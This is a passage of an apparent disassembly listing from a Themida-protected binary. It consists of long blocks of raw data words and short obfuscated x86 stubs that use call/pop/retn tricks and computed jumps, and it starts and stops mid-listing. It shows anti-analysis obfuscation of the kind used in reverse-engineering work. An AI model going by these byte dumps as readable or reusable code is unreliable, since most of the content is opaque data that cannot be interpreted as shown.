4C78100h, 87000000h dd 0E95C243Ch, 0FFF9481Dh db 0EBh ; --------------------------------------------------------------------------- loc_5EF3BD: ; CODE XREF: Themida_:loc_5EEEACj mov eax, 619386Ah add eax, ebp jmp eax ; --------------------------------------------------------------------------- dw 0DBCDh ; --------------------------------------------------------------------------- retf 2637h ; --------------------------------------------------------------------------- db 0A6h dd 4EF6FF9h, 0EA4C058Fh, 0F36E39A9h, 0D71414E0h, 7481523Dh dd 8C9012EAh, 6B821CF0h, 5F20433Ah, 0C08B74E5h, 2F01BD83h dd 75000612h, 49BD8309h, 61221h, 53501974h, 21B8C08Bh dd 89000004h, 120B3585h, 99D8D06h, 0FF0614ADh, 83585BD3h dd 122149BDh, 17740006h, 21B85350h, 89000004h, 120B3585h dd 0F89D8D06h, 0FF0614A9h, 8B585BD3h, 619D8BC0h, 0C6061224h dd 1215C185h, 52685606h, 0FF9CA8B8h, 123101B5h, 7A858D06h dd 0FF061582h, 68046AD0h, 1000h, 0B81B5FFh, 6A0612h, 0C085D0FFh dd 0D850Fh, 0B80000h, 8D000000h, 1273088Dh, 8BE1FF06h dd 3C38BC8h, 0F8053C40h, 8B000000h, 0D3030C50h, 849BD83h dd 0F000612h, 0E84h, 499D8B00h, 8B061208h, 121E8985h, 51038906h dd 68858D52h, 0FF06127Ch, 8BFA8BD0h, 8BD18BF1h, 0C6A4F3C8h dd 1215C185h, 39685606h, 0FFD41F6Dh, 123101B5h, 7A858D06h dd 0FF061582h, 800068D0h, 6A0000h, 8BD0FF52h, 1BD83C0h dd 6122Fh, 0BD830975h, 6122149h, 50197400h, 0B8C08B53h dd 421h, 2B98589h, 9D8D0612h, 614AD70h, 585BD3FFh, 2149BD83h dd 74000612h, 0B8535017h, 421h, 2B98589h, 9D8D0612h, 614AA11h dd 585BD3FFh, 9D8DC08Bh, 6120849h, 0C00B038Bh, 7840Fh dd 38B0000h, 89045B8Bh, 4B41B818h, 5E80000h, 9000000h dd 0D1066B45h, 0C555EF81h, 0E95A4682h, 0Fh, 223CA15Ch dd 9B88EB79h, 0D992E96Eh, 81EBB860h, 0D7CCC2h, 0FFDB3300h dd 13E81334h, 0AC000000h, 0B3D6FD6Ah, 0E8AED3A5h, 5DFD1B6Bh dd 66079641h, 0BE66FBA8h, 58597DC6h, 0FABF0F53h, 3FF08159h dd 0F476705h, 0C081FFBFh, 0E2A69FFh, 51CA8B60h, 5D17BB66h dd 0E881615Bh, 20ECDF09h, 1CB96650h, 1A048F79h, 81F1BF0Fh dd 0DB407EEBh, 81F38B34h, 0DB407AC3h, 81F18B34h, 0FF28ECFBh dd 13850FFFh, 8A000000h, 21E9EBh, 0F4AE0000h, 762F567Eh dd 0C954A55Ah, 0DE81D05Bh, 33A3698Fh, 0FFFF76E9h, 46C759FFh dd 0D059949Ch, 0E9E10A15h, 2Ah, 2404C7h, 0E8000000h, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 6193B4Ah mov eax, [esp+4] mov [ebp+6120F0Dh], eax mov eax, 0 lea ecx, [ebp+6124E4Bh] jmp ecx ; --------------------------------------------------------------------------- dw 54B8h dd 55000067h, 5E75FDEDh, 0A476F67Ah, 0BC56E669h, 3100FD49h dd 1F66FD24h, 0BA7FD24h, 8105FD24h, 44F7FD24h, 0A6EDFD24h dd 0D7CAFD24h, 6FABFD24h, 3386FD24h, 1CCDFD24h, 0B9AFD24h dd 83FFFD24h, 4558FD24h, 0A739FD24h, 0D61AFD24h, 6DC6FD24h dd 312AFD24h, 259DFD24h, 2295358Ah, 4A76D6A2h, 0BD5CDE71h dd 5A5CF44Bh, 2775FD7Ah, 9775F572h, 0CB74FD79h, 0ED73FD78h dd 0F374F57Dh, 7874FC7Bh, 0BC75FC7Bh, 5E75FD7Ah, 0BF76FD7Ah dd 1375A3F3h, 0CB75A3F0h, 0E475FD7Ah, 0F374FC7Bh, 9074FC7Bh dd 0BC75F8B2h, 0DBF0701Ah, 0A673E445h, 8E4E41FFh, 50F0707Ch dd 6C73E445h, 0EB4E81FFh, 0A0F0707Ch, 3573E445h, 474E45FFh dd 16F0707Ch, 1E73E445h, 0D24E7DFFh, 1DF0707Ch, 7B73E444h dd 604E79FFh, 2AF0707Ch, 0D773E447h, 364E75FFh, 3FF0707Ch dd 4273E447h, 0FC4E71FFh, 4CF0707Ch, 0F073E447h, 0A54E6DFFh dd 47F0707Ch, 0A673E444h, 8E4E61FFh, 2EF0707Ch, 6C73E447h dd 0EB4E69FFh, 7DF0707Ch, 3573E444h, 474E65FFh, 36F0707Ch dd 1E73E444h, 0D24E61FFh, 0B6F0707Ch, 7B73E444h, 604E51FFh dd 0CEF0707Ch, 0D773E444h, 364E4DFFh, 2F0707Ch, 4273E444h dd 0FC4E49FFh, 2CF0707Ch, 0F073E444h, 0A54E5DFFh, 4BF0707Ch dd 0A673E445h, 8E4E59FFh, 7BF0707Ch, 6C73E445h, 0EB4E55FFh dd 80F0767Ch, 3573EF6Fh, 474E08FFh, 0CAF0767Ch, 1E73EF5Ch dd 0D24E04FFh, 0B0B69C7Ch, 0F29D11F1h, 2375FD7Ah, 817C17FBh dd 0D525FB63h, 0ADFDF53Fh, 916CC68Eh, 0CFB73422h, 0B723AC7Ah dd 1A20AD29h, 7975FD7Ah, 96987C27h, 0A073E447h, 364E86FFh dd 0ECC87D7Ch, 0CF73E441h, 0E4C5B409h, 0F9B54B75h, 863589BAh dd 0A54E04EFh, 96FEBD7Ch, 2F7A452Bh, 28AFD7Ah, 0CD6CC683h dd 0DE0948F7h, 0C6F8FB63h, 4B9D50FCh, 0CF75FD7Eh, 5E76456Fh dd 0BA8AFD7Ah, 916CC683h, 0F00948F7h, 0D1F8FB63h, 228A50FCh dd 87BC1F23h, 0A54E86F7h, 52DA07Ch, 0EC2CA320h, 97776D92h dd 0C1CD4D7Ah, 708A5779h, 0F46CC68Fh, 79D3ED1h, 0DA75FD78h dd 54CD9BC2h, 0D0DE9B59h, 8E4E08EFh, 8DE9B7Ch, 0E5779592h dd 0F3360B7Ah, 866E8872h, 0A54E08EFh, 54C54D7Ch, 0BA8AAD79h dd 916CC68Fh, 2BF69B20h, 277E9B7Eh, 1AB6561Ch, 7975FF6Bh dd 0BE4E1529h, 652FFD7Ah, 0A57B89A0h, 94913D59h, 7F5DF70h dd 83FE4DBAh, 9D3ED1h, 2A75FD7Bh, 0BC77E192h, 844EA77Ah dd 49C5120Eh, 7FA916D0h, 0CB75FCA7h, 0ED74BE8Ch, 1A26D30Fh dd 7975FF7Bh, 0BD360B20h, 65548872h, 0A56889A0h, 94913D59h dd 7F5DF70h, 0B5FF4DBAh, 0C9806885h, 1F2FFB63h, 0DA51FD5Fh dd 0F5133F71h, 85E94DB9h, 9774BD92h, 61F44D7Ah, 0E5743592h dd 0F22D157Ah, 91DEFD7Ah, 0BC75FC57h, 9DDF60CAh, 0C7DF61CAh dd 9775FC5Bh, 4A13451Ch, 439D561Ch, 1A75FD7Bh, 7975FD4Ch dd 0B69D561Ch, 0EE75FD7Bh, 9FB657E7h, 699D57E6h, 2375FD7Ah dd 0E575FCF3h, 0FA74BE8Ch, 0F9C5F20Fh, 0BC6515D0h, 0DEDFFD7Ah dd 487DF99Eh, 97AA1584h, 56C5FD7Ah, 0E2CD3ED0h, 0D75FD7Ah dd 604E04EFh, 7CC0707Ch, 5D73E441h, 2C7F518Ah, 62E002D0h dd 873E441h, 0E574E592h, 0F8254D7Ah, 4B9D5779h, 548A0284h dd 5E75FC43h, 2C7FA5CAh, 0C7C53ED0h, 61274DD0h, 1A8BE192h dd 0FDCD9B85h, 91DE9B4Bh, 438A036Bh, 0EEDFA7CAh, 9FB65722h dd 3C225792h, 0CB750C92h, 22FEA77Ah, 1AF63F51h, 9177747Eh dd 438A008Bh, 5E750592h, 252D4D7Ah, 69B65779h, 0D24E8FFFh dd 97C87D7Ch, 0F373E441h, 0FCF8EC0Fh, 0BA6CC69Eh, 5C61152Ah dd 1B9DFD7Ah, 2775FD78h, 759D571Ah, 0D8A0287h, 0D8A00C3h dd 87DF9CCAh, 0A54E8FF7h, 2CC87D7Ch, 2F73E441h, 12F8F10Fh dd 0CD6CC69Eh, 0E4DE152Ah, 4AB6FD7Ah, 7975FD7Eh, 878C6885h dd 0C3F8FB63h, 296CBD3Bh, 3D6DF9F0h, 619C4DB9h, 8E9D562Dh dd 0A875FD7Ah, 0BB5E3AF1h, 357115F9h, 0CB8A3E78h, 296CC68Fh dd 96514ACEh, 74C1FF0Eh, 4E13F2CAh, 0F275C992h, 279DAE7Ah dd 0E675FD7Ah, 0BEB5FEF0h, 25B5F179h, 68B65778h, 0D24E08EFh dd 0EA917D7Ch, 42F539FAh, 2EDE9B75h, 415A15D1h, 0D52F0285h dd 0ACB7D6BDh, 95FCF992h, 0CB7345B9h, 708AFD7Ah, 0F46CC683h dd 42AD60F7h, 0A0F8FB63h, 4ECD3E39h, 0D075FD7Ah, 8E4E04EFh dd 0CEB57E7Ch, 1A8935F1h, 0EB4E08EFh, 8E97577Ch, 43BE15B9h dd 1DFF0285h, 5A72D97Bh, 7F76778Eh, 0CB75FC6Ch, 1DB61608h dd 0A7890883h, 0BDF611F1h, 0BC9D9D86h, 475FD7Ah, 6F2417FBh dd 0EAFCFB63h, 3FCF7D86h, 0E573E441h, 0F2EC7975h, 73CDFD7Ah dd 4375FD7Ah, 474E04E8h, 0ADFCBD7Ch, 916CC687h, 79F835F1h dd 0E36CBC5Fh, 0C9806F85h, 7FFDFB63h, 4801F3Ch, 5E75FD6Dh dd 14887F79h, 1A35FB63h, 0D234E4E0h, 0E1B67E7Ch, 4B22FEF3h dd 7975FD64h, 87887779h, 0ECF8FB63h, 296CBC7Dh, 2F2B5989h dd 0CB75FD72h, 0DE8C6F85h, 0AF6FB63h, 7185897Eh, 0BC72447Ch dd 5A7DFD7Ah, 0F7C3F24Bh, 2E761EBBh, 0CB75FD74h, 5C44E172h dd 0F275FD76h, 0C044F972h, 0BC75FD61h, 0E744F972h, 2F75FD66h dd 7F44F972h, 348A015Bh, 848980F3h, 3B8980F1h, 7F9DADB9h dd 9C75FD7Ah, 7A110222h, 6BFCA58Eh, 16E9055Eh, 0B389D93Eh dd 7867C92Ch, 0F2B6AD3Ah, 7975FD7Ah, 0BC75FD7Ah, 0B2FEA87Ah dd 2F75151Ah, 162FFD7Ah, 0D234C590h, 0E4CF707Ch, 7973E446h dd 71CCF50Fh, 4F75FD7Ah, 9CBC9CDEh, 0A226FD7Eh, 8E49FCE7h dd 0D3497D7Ch, 0BE71887Bh, 0A9771683h, 0F2203E82h, 0BC9D9D96h dd 475FD7Ah, 6E0417FBh, 25F8FB63h, 0CD6CC17Bh, 5C7D80F1h dd 0F275FD72h, 0B0145989h, 0DC75F9B8h, 627440F7h, 0EF46FB63h dd 9775F5C3h, 0AADF0E7Ah, 58F89DB9h, 0F46CC17Bh, 7874C2FBh dd 0B000FC7Bh, 5F7182FBh, 5A74FC7Bh, 969E0479h, 0ABB69C82h dd 0D97440F7h, 0F3CDFB63h, 0C075FD7Ah, 0BC75FD72h, 9D145789h dd 0EFFE3DF1h, 0AB7B78F7h, 0D08AFB63h, 3BE9CA8Bh, 60000000h dd 20C5BD8Bh, 0EF830612h, 8BC93304h, 8320BBC1h, 0C783EDB8h dd 8BE04h, 0E8D10000h, 0D323D21Bh, 0F4EC233h, 0FFFFF185h dd 78941FFh, 100F981h, 820F0000h, 0FFFFFFD3h, 0C88BC361h dd 16EBh, 4 dup(0) dd 1010000h, 428h, 6A0619h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 180424h, 52420000h, 837C77C3h, 5090A274h dd 0BE852h, 0B38F0000h, 4E134B0Ch, 742BEA45h, 0DFC1BBEAh dd 0F5B7C6Dh, 9E831h, 6D330000h, 6788F76Dh, 53E7A812h dd 585A595Ah, 90CF8B50h, 0BEDF1BBBh, 60006A42h, 43D9D31h dd 858B0612h, 612270Dh, 6A006A61h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0B459C351h dd 257C9A8h, 0D18B601Fh, 15E59529h, 81610612h, 0FE89BDD9h dd 9F858D0Ah, 6A061943h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 14042444h, 45000000h, 1E6C355h, 1220DD8Dh dd 0D38B5006h, 6A240489h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 17042444h, 45000000h, 74B9C355h, 6AA6D0h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 96C35545h dd 0DAC97532h, 1BB9B589h, 6A0612h, 2CE98D8Bh, 95FF0612h dd 6120B55h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 16h, 0B2C35747h, 0CA8BF3B9h, 5BDE9h, 0AE800h, 0EBEA0000h dd 4B22E6A3h, 19074FD9h, 1B958D89h, 29590612h, 12244585h dd 0E806h, 815D0000h, 1943A4EDh, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 0C9ABEF1Bh dd 0CF818860h, 23FD4CFDh, 2F2DB589h, 8F0F0612h, 6, 180D8D2Bh dd 9D8B0612h, 61233B5h, 4E8h, 0FA000h, 52506000h, 310FF18Bh dd 0AE8h, 0F2B1E400h, 8028B76Ch, 59C2DDEDh, 5061585Ah dd 0E2B96051h, 50493391h, 5A310F52h, 8B5F6158h, 8B042444h dd 0B6008BFEh, 2444890Eh, 0BE804h, 0D24E0000h, 0F860199Fh dd 63621142h, 7A36BBF6h, 585943D1h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 16h, 7CC35646h, 0A3B7577Ah, 29D195FFh dd 6A0612h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h dd 50400000h, 0BAFF43C3h, 5DAF417Dh, 4224B58Dh, 6A0619h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h dd 912AC9C3h, 0ED9589C4h, 0C706122Ah, 67655206h, 52006A6Dh dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 29BEB81Dh, 10E9C758h, 23000000h, 0E2DE5E80h, 3F484709h dd 0C2D4A6D2h, 0C78A7923h, 6E6F0446h, 6A6C63h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h dd 5E013C3h, 77C081E4h, 0B195AF34h, 846C798h, 737361h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 3EC35646h dd 0AE082152h, 0D0F9B697h, 29E98D8Bh, 95330612h, 61229B5h dd 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h dd 56460000h, 0F4DFA8C3h, 9D891DB9h, 6122A35h, 2C4D8589h dd 858D0612h, 6194224h, 1CE98166h, 0BE950FAh, 96000000h dd 443FAADEh, 0F3EE7BDh, 489D7FAh, 52006A24h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 9E411581h dd 4E929CC4h, 0F381AB76h, 1DA3E179h, 8BD8589h, 95FF0612h dd 6121DA1h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 19h, 0BFC35242h, 0E8BD775Fh, 5E890h, 6D710000h, 0E996E813h dd 0Eh, 8F38A6AEh, 40794905h, 55699DEDh, 0B5A2502h, 4C840FC0h dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1A042444h, 43000000h, 0D5C2C353h, 925A457Eh, 0F88B662Ch dd 2D2E9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1404h, 0C3574700h, 0B59D8BF8h, 68061225h, 10FD1EBEh dd 3481DE8Bh, 0FD1F9224h, 58C0F10h, 0BF000000h, 4BBB224h dd 29D195FFh, 8A600612h, 0F59D8BD0h, 6106122Fh, 4224B58Dh dd 6A0619h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h dd 57470000h, 85C824C3h, 8589BA0Dh, 6122D21h, 2A3D9529h dd 6C70612h, 36343831h, 46C7DF8Bh, 342D3704h, 52006A31h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h dd 0FF33557h, 68Ch, 9D958B00h, 1061223h, 1226159Dh, 846C706h dd 0 ; --------------------------------------------------------------------------- push 0 push 0 push eax call sub_5F01F5 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5F01F5 proc near ; CODE XREF: Themida_:005F01EDp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Bh inc eax push eax retn sub_5F01F5 endp ; --------------------------------------------------------------------------- db 78h, 0F9h, 0F2h dd 0CBEB3224h, 68A0F91h, 0B000000h, 122C99BDh, 0FD9D8906h dd 8D061225h, 19422485h, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1B04h, 0C3504000h, 0A84A3ABEh, 655F58Fh dd 0AA517BBBh, 0CB8B5077h, 50240489h, 0FF5BDF8Bh, 121DA195h dd 319D8B06h, 89061222h, 12334D8Dh, 0FC00B06h, 2D84h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 0AA37B579h, 0E973ADCEh, 15Fh, 1F71B529h, 4E80612h, 2C000000h dd 0BF000001h, 6FEB5040h, 14E850h, 5B540000h, 3A33CB7Dh dd 0F87FBFEDh, 95CB1F4Bh, 0DA318F24h, 9E81D95h, 9C000000h dd 8EBD55D2h, 0F08318A6h, 310F5250h, 5A59585Ah, 424448Bh dd 8BCE8Bh, 683ABB53h, 89593064h, 50042444h, 0CA8B6652h dd 585A310Fh, 0D6BF0F58h, 25698D89h, 95FF0612h, 61229D1h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 83C35545h dd 0DEB70FB1h, 4224B58Dh, 66600619h, 6190C2BFh, 694606C7h dd 9D8B656Ch, 61212C9h, 6D0446C7h, 8B636E6Fh, 1203D5BDh dd 846C706h, 7373616Ch, 15EDB509h, 46C70612h, 0Ch, 36EFB900h dd 6A682Fh, 8DFAD280h, 19422485h, 6690F906h, 0F50D68Bh dd 8Fh, 0F3809000h, 8DB589BEh, 0FF06121Fh, 121DA195h, 21B96606h dd 0FC00BF6h, 3284h, 28F0F00h, 0B3000000h, 51E9C0h, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h dd 4113F4C3h, 0A2C981ECh, 0E9757A84h, 0FFFFFAA9h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0D9C35747h, 59B6569Dh dd 0EDBD295Ah, 8D061231h, 127308B5h, 5E906h, 52BC0000h dd 0B8FEB9C7h, 0 ; --------------------------------------------------------------------------- sbb ebx, 52DB80B7h jmp esi ; --------------------------------------------------------------------------- mov edi, [ebp+6121B6Dh] mov eax, ecx jmp short loc_5F042A ; --------------------------------------------------------------------------- or [ebp+15h], bh sub eax, 59FA54Bh push esi sbb ebx, eax inc ebx loc_5F042A: ; CODE XREF: Themida_:005F041Cj jmp loc_5F091E ; --------------------------------------------------------------------------- jmp loc_5F0917 ; --------------------------------------------------------------------------- dd 49967918h, 0E633DCB0h, 85D23D4Dh, 1F6CA3ECh, 0BB080786h dd 8904EACBh, 0EBA03986h, 523ED724h, 0B7D770BDh, 0E2310B58h dd 0F8A8ADDAh, 1BF1CE4Dh, 0BEF31C72h, 3F749BF5h, 0C5FA1576h dd 497E91FCh, 0CD020D80h, 4F848B04h, 0D60B0486h, 5B907F0Dh dd 21E0C5CEh, 0D43B510Ah, 0A6E6E141h, 141549F6h, 90639877h dd 6327F025h, 0C4C65FACh, 63FE164Bh, 0BA32E362h, 3B523BA6h dd 0F4E75433h, 891C2774h, 0B0FD1278h, 9C5B4A53h, 0E80A7D85h dd 6E7974F4h, 5F646CDBh, 0A4770C2Fh, 0F59B6499h, 5C34CD1Ah dd 9E577EB3h, 2F8F22EDh, 6F523307h, 0B4DD0418h, 4A7F90FBh dd 0BDD3E477h, 9FA80552h, 3B31565Eh, 789706Ah, 0A6657008h dd 6A3AE99Eh, 248F9A70h, 4A995D65h, 3E55727Ch, 0BB3F3BBDh dd 0EA9AC11Ah, 7677C69Dh, 0F840D3DEh, 0EBA0B8EDh, 0CF7677C6h dd 551E53BCh, 0DA3D837h, 0CBF3E8F9h, 7B5B32AFh, 430C2499h dd 7C0F008Ah, 0C7Ah, 9874CC00h, 9D000002h, 0D669A6E4h dd 0F11E72A8h, 7897F3BCh, 17CA7E43h, 0FE4BC4CCh, 25E42B65h dd 5F81060Eh, 390247DFh, 0E9815A75h, 0FF60CB9Ah, 7C4F848Bh dd 0AC6404E9h, 16742D4Ch, 5EF1C4F9h, 7C14CF12h, 711BD493h dd 0F9FAFDE0h, 970210B2h, 0FFFC8F62h, 0B6EB2466h, 386DA2EDh dd 0B23DA490h, 0BF7837D8h, 0B0AD40CFh, 8A8F00B9h, 11A40F00h dd 5FF9CCB1h, 0B45B32E6h, 52BDCE67h, 0D837541Dh, 1DD60DA3h dd 94679C73h, 0C12CB501h, 0D33C4FCAh, 0D2841B68h, 0AD000000h dd 0E1749BF4h, 0C5A0AEB3h, 3F1247C8h, 0B69415D4h, 33614047h dd 12DBC053h, 0AD46937Ch, 0E5FD32DDh, 47E039A2h, 0FB944D39h dd 0CF74277Ah, 0FC8F1225h, 0B1709FEBh, 0E57897F8h, 0D33C4FE8h dd 0DB345B14h, 0C14D3A6h, 47E0177Bh, 856AFD08h, 7E3DD2BCh dd 84E472FDh, 0BF52D262h, 0B13044DAh, 6DBA5536h, 2A62B7D4h dd 72DDB0E5h, 0F619743Dh, 7C93F8C1h, 6F182047h, 0C47DFD8h dd 23ECA001h, 9D4458EEh, 0C51C0848h, 61AE612Ah, 8B4AC5C8h dd 0BF52BDD2h, 94FAB3DAh, 1100E87Bh, 90C54A40h, 1146C9C7h dd 0CC11D014h, 99548D99h, 35CE1BF4h, 74F5B45Bh, 91FA7AFCh dd 0D684652Dh, 6B9E4972h, 21EE9F00h, 0A18619ECh, 0DFA40589h dd 0E4FDC147h, 3B888709h, 0F11E7285h, 0B49DF3BCh, 835AAD9Ch dd 91C631BFh, 38B32EB2h, 826AB758h, 47DFC0F0h, 80368F4Ch dd 0EE322BCh, 35FFFFFFh, 1C0A5AEh, 0F18155F9h, 70A5B049h dd 2A6AE7A7h, 0A94ACC63h, 0DF1416Ah, 11F6A305h, 0CEC059A6h dd 4C430C41h, 0E4F88EC3h, 739CF2FDh, 7D92FBB4h, 3A54EDEAh dd 688A0D5h, 0A24DF1FDh, 6628C31Eh, 0CBC35CA9h, 79820F44h dd 31C5CD8Ch, 0ED50040Ch, 23B65934h, 2683D0DBh, 7179381Dh dd 49F7338Eh, 945D929Dh, 2DC613FCh, 5077AC63h, 24563139h dd 1A254DF9h, 0DE3A2787h, 10C432E3h, 9F7A16D1h, 67B41FF0h dd 1D52BDCEh, 9ED33C54h, 255AB5D5h, 0A9DE315Ch, 647968ACh dd 0CAC1203Ch, 0FA9FACAh, 6A1Fh, 18773000h, 723664F7h dd 0FA8F51Ah, 0AE47947Bh, 0EAE12EE1h, 4F09A769h, 9A2DF887h dd 0BE0B0489h, 5AA76825h, 404FCAC1h, 5CC79ACFh, 0F51A760Fh dd 0FC137D36h, 0BBD36C69h, 1F6E0754h, 62B1BBF0h, 0F328E7A9h dd 0DFA88D20h, 832B60AFh, 0F5E4A97h, 0DFFE8007h, 0ABF80347h dd 83450CD1h, 0AF000000h, 5FE59F87h, 4F047DFh, 72791FDDh dd 8A8FFF1Ah, 35A00B04h, 0D70F1E8h, 0E309E9CFh, 830718ABh dd 0E8573038h, 192447DFh, 0C7C861AEh, 2B62FB48h, 8FFE97E4h dd 6DC989C2h, 0F45F7C55h, 71161E35h, 1247DF82h, 82DCABB3h dd 949F47DFh, 999629h, 13FC8E8Bh, 53A00BDEh, 4843D6BAh dd 96BF92C7h, 85441CB2h, 5C42F4Ch, 9CD13E4Ch, 6925A0C9h dd 104EA4D1h, 0A7E7807Dh, 3841B68h, 0EE000000h, 1F723422h dd 9CF2BBF0h, 1B753E73h, 95F6BFF4h, 117C457Ah, 8D00C9FEh dd 0B844D82h, 8406CF04h, 0FF8D568Bh, 53D4DB10h, 0C381E389h dd 4, 4BD55h, 0EB290000h, 241C875Dh, 0E789575Ch, 4C781h dd 0EF830000h, 243C8704h, 241C895Ch, 81E68956h, 4C6h, 4EE8100h dd 87000000h, 895C2434h, 0CF682414h, 89000038h, 5AB82404h dd 89061949h, 8B5458C3h, 0C4812414h, 4, 51DF8957h, 4A89F989h dd 8B5F5908h, 89522414h, 4C281E2h, 81000000h, 4C2h, 24148700h dd 241C8B5Ch, 81E68956h, 4C6h, 4C68100h, 87000000h, 0E95C2434h dd 0FFF932C9h, 0E97AB626h db 26h, 3, 0B1h ; --------------------------------------------------------------------------- loc_5F0917: ; CODE XREF: Themida_:005F042Fj mov eax, 6194DA1h add eax, ebp loc_5F091E: ; CODE XREF: Themida_:loc_5F042Aj mov edx, ebx lea ecx, [ebp+6194F0Fh] push 0 push ebp call sub_5F0931 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5F0931 proc near ; CODE XREF: Themida_:005F0929p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 18h inc ebp push ebp retn sub_5F0931 endp ; --------------------------------------------------------------------------- db 20h, 5Ch, 47h dd 665187E5h, 0F99ECE81h, 0CD8D895Fh, 8B06122Dh, 1207F5BDh dd 0BD85C706h, 54061231h, 6A00005Ah, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 660AC355h dd 0C7D426BBh, 12001185h, 6, 0F2816600h, 0B5FFC5A5h, 61232E5h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 61C35141h dd 0BD297C3Bh, 6121AC9h, 278195FFh, 6A0612h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 180424h, 55450000h, 5F3D36C3h dd 6ABE65h, 29D195FFh, 0C08B0612h, 16607CEBh, 0C7A05DC2h dd 0F2CA0ED7h, 105A13D7h, 0F3795A92h, 0B88AAD2Fh, 0EB0D9CD5h dd 0C94CA05Ch, 79C388C3h, 82AD57EAh, 0B37F40DBh, 48BAEEFCh dd 0AEB3D138h, 7AAE3508h, 681188B1h, 1411BC05h, 3EB3E122h dd 36808BA3h, 30D8131Dh, 0E9A5E1DCh, 0AAAD4FDFh, 0ACAECF6Ch dd 4892FEBAh, 5C51CD80h, 27CC0C06h, 0B55D49C1h, 846EFC33h dd 0A6BE7F55h, 4E7CD448h, 5D826738h, 76E6EFE0h, 0A7E91993h dd 0DD000000h, 750E5BB4h, 12ABF817h, 0B14A9778h, 4BE431DEh dd 9080CD42h, 4BC4C925h, 0E92665FEh, 828D039Ch, 1DF29C35h dd 9FA7F6D0h, 4DF8AEE8h, 26A7BE9Bh, 7C0EA5B0h, 7B396A93h dd 9D080785h, 1D72DC0Ah, 7009BDF2h, 7831F01Fh, 0F3C6FB14h dd 117B6360h, 0EC47DF60h, 47833887h, 3CE21D94h, 34A07247h dd 3C84780h, 32000000h, 1F723422h, 9CF2BBF0h, 1B753E73h dd 95F6BFF4h, 117C457Ah, 8D00C9FEh, 0B844D82h, 8406CF04h dd 0FF8D568Bh, 68D4DB10h, 6194F95h, 0F930D0E9h, 80D972FFh dd 24A8E974h, 684BD370h, 4E94ACFh, 62000000h, 0E9587729h dd 52Ah, 59A66928h, 0F643CCC0h, 95E22D5Dh, 2F7C93FCh, 0CB18F796h dd 7914DADBh, 0DBB04996h, 424EE734h, 0A7E780CDh, 0F2411B68h dd 0F8AF9DEAh, 0EA01DE4Dh, 0AFBCCBD3h, 0B4BF4DF8h, 1C72F321h dd 98F5BEF3h, 0FD912A77h, 7A14DD12h, 0F5976095h, 5C0F9A5Ch dd 50BB9CF9h, 0D738521Bh, 9B2D9A2h, 0DFA28601h, 7FEAF547h dd 0FAE76B4Ah, 3EA3B7E5h, 0D724EBA3h, 70BD523Eh, 9756B9D7h dd 49C6C780h, 0DFA2EE99h, 0EF828D47h, 602AE30Ah, 7EA77AAFh dd 0C0BEAA38h, 5061F4A7h, 0F79FD43Bh, 850BD60Bh, 0FE4ACB8Ah dd 8721F89Eh, 379F6A93h, 53B66157h, 642AC3C0h, 5C33ECABh dd 18AB7EB3h, 0BC731B33h, 0BB2747DFh, 0A3675F26h, 69B422BCh dd 6000000h, 0BEF31C72h, 63ACDE97h, 68C85B2Eh, 47DF6025h dd 0ADD60B77h, 5FF98E96h, 7F8A47DFh, 0FE077FECh, 1D422BCh dd 26000000h, 35371A72h, 0DFADC1B1h, 9E679C07h, 0A96221EEh dd 25F82DE2h, 0ABE4AD92h, 0DE0118A6h, 0B01BA899h, 10D1E57Bh dd 42CDBE77h, 21EE9EAFh, 0BC533BD4h, 7EB67CFDh, 9CD61840h dd 87BC533Bh, 6E2421B4h, 98A01B72h, 47DF5FEFh, 0E116818Ch dd 669B7418h, 3DE0387h, 9F38858Ah, 22EB20EFh, 0A972A768h dd 2EF72CE3h, 0EB7CB15Eh, 0C43ADFBCh, 0F579F0F5h, 90CFF7ECh dd 0C457B8D7h, 0D2226978h, 6722BC60h, 90h, 0F41B72B9h dd 8594F6BFh, 917E0E0Bh, 0B31E895Ch, 0DD4E87Eh, 4AC5CB84h dd 0A9E14215h, 0CBC2D366h, 99CE414Eh, 750E5BC6h, 91273918h dd 3C1082CFh, 0B386BB54h, 0DFA8DD48h, 1FA05FB0h, 9A2F25C7h dd 84D95CA1h, 41DBB2DBh, 0D16146D9h, 1D652CB5h, 0AA22BC14h dd 66h, 0F41B72FCh, 